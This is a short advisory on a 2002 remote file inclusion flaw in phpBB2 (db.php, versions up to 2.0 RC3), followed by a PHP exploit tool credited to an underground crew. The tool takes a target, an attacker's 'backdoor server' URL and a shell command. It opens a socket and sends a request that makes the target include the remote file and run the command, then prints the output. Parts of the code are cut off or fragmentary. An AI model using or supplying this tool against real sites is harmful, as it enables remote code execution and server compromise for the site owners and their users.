(c) Underground Daemon Crew

Title 23/3/2002 phpBB2 Remote Execution Command (db.php) Summary phpBB is a high powered, fully scalable, and highly customizable forums package. phpBB has a user-friendly interface, simply and straight-forward administration panel, and helpful FAQ. A security vulnerability in the product allows attackers to cause it to execute arbitrary code by including an external file (by causing 'include' directive to URL reference a file instead of using the normal directory access). Details Vulnerable systems: phpBB2 version 2.0 RC3 and prior Immune systems: phpBB2 version 2.0 RC4 Exploit: (c) Underground Daemon Crew

sLash Da Underground
nullbyte@darkscape

Target :
Backdoor : (your backdoor server)
Command :
Enable stderr-trapping?
Current working directory: Root/"; if ($work_dir_splitted[0] == "") { $work_dir = "/"; } else { for ($i = 0; $i < count($work_dir_splitted); $i++) { $url .= "/".$work_dir_splitted[$i]; echo "$work_dir_splitted[$i]/"; } } ?>
Choose new working directory:
Output:
<?php if (!empty($command)) { if ($stderr) { $command .= " 1> /tmp/output.txt 2>&1; " . "cat /tmp/output.txt; rm /tmp/output.txt"; } else if ($command == 'ls') { $command .= ' -F'; } /* * check point */ $error_count = 0; if(empty($targetURL)) { echo "You did not fill out the first URL field, please go back and try again."; $error_count = $error_count++; exit; } if(empty($BACKDOOR)) { echo "You did not fill out the second URL field, please go back and try again."; $error_count = $error_count++; exit; } /* * create a socket */ $service_port = getservbyname ('www', 'tcp'); $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n"; } $result = socket_connect ($socket, $targetURL, $service_port); if ($result < 0) { echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n"; } $in = "GET $BUG1$BACKDOOR$BUG2".urlencode($command)." HTTP/1.1\nHost: $targetURL:$service_port\n\n"; $out = ''; socket_write ($socket, $in, strlen ($in)); while ($out = socket_read ($socket, 2048)) { echo $out; } socket_close ($socket); } ?>